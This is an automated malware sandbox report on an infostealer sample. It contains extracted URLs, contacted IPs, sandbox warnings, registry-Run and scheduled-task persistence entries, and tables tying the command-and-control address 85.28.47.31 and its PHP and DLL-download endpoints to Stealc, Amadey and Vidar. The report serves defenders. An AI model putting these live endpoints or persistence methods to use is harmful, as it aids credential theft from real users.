https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000016.00000003.2972414420.0000018935CFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945932000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2878502064.00000189362A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2933839443.0000018935CDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f	firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll5	bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/greasePaddingSize	firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dlll	bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/channel	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://profiler.firefox.com/	firefox.exe, 00000016.00000003.3066712710.0000018933768000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.msn.com	firefox.exe, 00000016.00000003.3061487609.0000018937842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2883723523.00000189387A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2969179512.00000189387A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/p	bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/bucketConfig/properties/namespace	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/featureIds	firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/outcomes/items/properties/slug	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000016.00000003.2826493925.0000018935100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2835272663.0000018935329000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000016.00000003.3237228102.000001894493B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 00000016.00000003.3063219803.000001893777D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3173454403.000001893777D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3073028344.00000189317DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2890156235.000001893777D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 00000016.00000003.3356991599.00000189447DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2	firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.instagram.com/	firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accountNUMB	firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json.23.dr	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JEHIJDGIEBKKFHJKJKEG.11.dr	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/	firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fpn.firefox.com	firefox.exe, 00000016.00000003.2993742632.000001893277B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schemaInstance	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BGCAFHCA.11.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.comweave:service:start-over	firefox.exe, 00000016.00000003.3162211301.0000018937D19000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp, BGCAFHCA.11.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json.23.dr	false	Avira URL Cloud: safe	unknown
http://detectportal.firefox.coma	firefox.exe, 00000016.00000003.3040417631.0000018937D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2932521244.0000018937D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2980249152.0000018937D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3153426972.0000018937D84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/	firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json.23.dr	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/isRolloutAn	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/firefox/addon/to-google-translate/	firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 00000016.00000003.2976595363.0000018935175000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mo	firefox.exe, 00000016.00000003.3056415593.00000189379A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3165953939.00000189379A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsresource://gre/modul	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accountC:	firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.php/B	bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000016.00000003.3253256201.00000189372AD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/idhttp://mozilla.org/#/properties/appIdhttp://mozilla.org/#/properti	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shavar.services.mozilla.com/	firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json.23.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000016.00000003.3364227569.0000018941B96000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/isRollout	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry	firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000016.00000003.3234505370.000001894487D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/pnaclte?q=	bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items	firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
18.65.39.85	services.addons.mozilla.org	United States	3	MIT-GATEWAYSUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.185.142	unknown	United States	15169	GOOGLEUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
13.107.246.73	s-part-0045.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
13.32.99.17	mitmdetection.services.mozilla.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.9
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483008
Start date and time:	2024-07-26 13:47:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 18m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	6SoKuOqyNh.exe renamed because original name is a hash value
Original Sample Name:	33a84ea233fe9fe1b4c85e533a228bbd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@154/216@84/22
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 65% Number of executed functions: 98 Number of non-executed functions: 106
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.214.172, 172.217.16.195, 142.250.185.110, 66.102.1.84, 204.79.197.239, 13.107.21.239, 13.107.6.158, 34.104.35.123, 13.107.42.16, 2.19.126.152, 2.19.126.145, 2.22.50.227, 2.22.50.220, 2.22.50.217, 142.250.186.99, 172.217.16.131, 20.223.35.26, 172.217.18.10, 142.250.186.106, 142.250.185.74, 142.250.184.234, 142.250.185.202, 216.58.206.42, 216.58.206.74, 172.217.16.202, 142.250.185.106, 142.250.181.234, 216.58.212.138, 142.250.185.170, 142.250.185.234, 142.250.184.202, 142.250.185.138, 142.250.186.42, 199.232.210.172, 52.36.33.58, 50.112.139.120, 44.238.205.197, 172.217.18.14, 2.22.61.59, 2.22.61.56, 34.107.243.93, 142.250.186.110, 172.217.18.3, 142.250.186.138, 23.200.0.22, 142.250.184.206, 74.125.133.84, 142.250.186.67, 173.194.76.84, 172.217.18.99
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, a19.dscg10.akamai.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, www.bing.com, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, iris-de-prod-azsc-v2-neu.northeurope.cloudapp.azure.com, location.services.mozilla.com, ciscobinary.openh264.org, config.edge.skype.com.trafficmanager.net, autopush.prod.mozaws.net, incoming.telemetry.mozilla.org,
Execution Graph export aborted for target 6SoKuOqyNh.exe, PID 6284 because it is empty
Execution Graph export aborted for target explorti.exe, PID 3756 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 964 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 6SoKuOqyNh.exe

Simulations

Behavior and APIs

Time	Type	Description
07:49:01	API Interceptor	16069203x Sleep call for process: explorti.exe modified
07:49:23	API Interceptor	110x Sleep call for process: bfb8bb0dc7.exe modified
07:50:12	API Interceptor	1x Sleep call for process: firefox.exe modified
13:48:15	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
13:49:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bfb8bb0dc7.exe C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
13:49:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d27375200a.exe C:\Users\user\1000003002\d27375200a.exe
13:49:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bfb8bb0dc7.exe C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
13:49:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d27375200a.exe C:\Users\user\1000003002\d27375200a.exe
13:49:42	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
85.28.47.31	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
18.65.39.85	fu[1].exe	Get hash	malicious	Bdaejec	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mitmdetection.services.mozilla.com	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	13.32.99.17
	file.exe	Get hash	malicious	Unknown	Browse	18.165.242.86
	file.exe	Get hash	malicious	Unknown	Browse	3.164.206.14
	file.exe	Get hash	malicious	Unknown	Browse	13.32.99.14
	file.exe	Get hash	malicious	Unknown	Browse	18.238.243.101
	file.exe	Get hash	malicious	Unknown	Browse	143.204.9.107
	file.exe	Get hash	malicious	Unknown	Browse	13.32.99.17
	file.exe	Get hash	malicious	Unknown	Browse	13.33.187.82
	file.exe	Get hash	malicious	Unknown	Browse	13.33.187.113
	file.exe	Get hash	malicious	Unknown	Browse	13.33.187.37
example.org	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	93.184.215.14
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
services.addons.mozilla.org	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	143.204.215.18
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.122
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.105
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	143.204.215.18
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	143.204.215.115
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	143.204.215.18
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.18
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.115
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.122
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	34.117.188.166
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	random.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	random.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	Endermanch@MEMZ.exe	Get hash	malicious	Bdaejec, KillMBR	Browse	34.117.239.71
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://dcmonetshare.transfernow.net/dl/20240726wXlk6l3q	Get hash	malicious	Unknown	Browse	13.107.21.237
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=	Get hash	malicious	Phisher	Browse	13.107.246.60
	https://forms.office.com/r/WH4W8hyyNA	Get hash	malicious	HTMLPhisher	Browse	13.74.129.1
	http://cognitoforms.com/Renato4/ManagementHasAddedYouToAWholeTeam	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	file.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	204.79.197.237
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	94.245.104.56
MIT-GATEWAYSUS	xd.mips.elf	Get hash	malicious	Mirai	Browse	18.13.184.28
	xd.mips64.elf	Get hash	malicious	Unknown	Browse	18.1.129.76
	Endermanch@LPS2019.exe	Get hash	malicious	Unknown	Browse	18.173.205.58
	Endermanch@MEMZ.exe	Get hash	malicious	Bdaejec, KillMBR	Browse	18.66.102.118
